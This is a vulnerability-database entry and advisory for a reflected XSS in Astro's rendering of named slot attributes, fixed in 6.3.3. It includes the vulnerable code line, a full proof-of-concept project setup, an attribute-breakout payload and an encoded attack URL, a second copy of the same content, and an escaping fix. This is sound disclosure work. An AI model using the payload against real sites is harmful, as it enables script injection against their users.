CVE-2026-50146High· 7.1▾ Twilight

Astro: Reflected XSS via unescaped slot name

▾ Twilight zone — High severity, or a signal on a lesser flaw

Depth score39/ 100 · Low

impact 39.1 · likelihood 0.1 · exploitation 0

⚡ Agent-ready:Raw markdown ↗JSON ↗

Proof of concept

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Published

Jun 16, 2026

Updated

Jun 16, 2026

CVSS

7.1

Vendor

astro

Product

astro

CWE

CWE-79, CWE-80

Depth score

39 · Low

EPSS

0.27% · p19

Platforms

—

Source

GHSA

Vector

—

EPSS history

Exploit-prediction probability, daily snapshots since Jul 7.

0.2% → 0.3%▲ 0.09%

Timeline

Disclosure to exploitation, from the record and what we observed since indexing it.

3 events · 38 days

Jun 16, 2026Published
Disclosed via GHSA
Jul 7, 2026EPSS first tracked
0.2%
Jul 24, 2026EPSS peak
0.2% → 0.3%

astro CWE-79 CWE-80 #ghsa #npm

Affected

astro < 6.3.3

Patched in

astro 6.3.3

Full technical detail▾

Overview

Summary

When a component uses a client:* directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR.

This is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point.

Vulnerable Code

packages/astro/src/runtime/server/render/component.ts:371:376

// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${key}"` : ''}>${children[key]}</template>`

I found that key is interpolated directly into the attribute value without proper escaping.

Proof of Concept

For the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0.

astro.config.mjs

import react from '@astrojs/react';
import node from '@astrojs/node';
import { defineConfig } from 'astro/config';
export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
  integrations: [react()],
});

src/pages/index.astro

---
import Wrapper from '../components/Wrapper.jsx';
const slotName = Astro.url.searchParams.get('tab') ?? 'default';
---
<html><body>
  <Wrapper client:load>
    <div slot={slotName}>content</div>
  </Wrapper>
</body></html>

src/components/Wrapper.jsx

export default function Wrapper() { return null; }

Payload:

abc"></template></astro-island><img src=x onerror=confirm(document.domain)><!--

Accessing this URL will trigger the popup.

http://localhost:4321/?tab=abc%22%3E%3C%2Ftemplate%3E%3C%2Fastro-island%3E%3Cimg+src%3Dx+onerror%3Dconfirm(document.domain)%3E%3C!--

This will render in html.

<template data-astro-template="abc"></template></astro-island>
<img src=x onerror=confirm(document.domain)><!--">content</template>

Fix

I suggest leveraging the existing escape function on the slot name.

// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${escapeHTML(String(key))}"` : ''}>${children[key]}</template>`

Affected packages

astro < 6.3.3

Remediation

Upgrade to a patched release:

astro 6.3.3

References

Related vulnerabilities

Connected by shared product, vendor, weakness, or advisory.

#ghsa#npm

Summary

This is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point.

Proof of Concept

For the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0.

astro.config.mjs

import react from '@astrojs/react'; import node from '@astrojs/node'; import { defineConfig } from 'astro/config'; export default defineConfig({ output: 'server', adapter: node({ mode: 'standalone' }), integrations: [react()], });

src/pages/index.astro

--- import Wrapper from '../components/Wrapper.jsx'; const slotName = Astro.url.searchParams.get('tab') ?? 'default'; --- <html><body> <Wrapper client:load> <div slot={slotName}>content</div> </Wrapper> </body></html>

src/components/Wrapper.jsx

export default function Wrapper() { return null; }

Payload:

abc"></template></astro-island><img src=x onerror=confirm(document.domain)><!--

Accessing this URL will trigger the popup.

This will render in html.

<template data-astro-template="abc"></template></astro-island> <img src=x onerror=confirm(document.domain)><!--">content</template>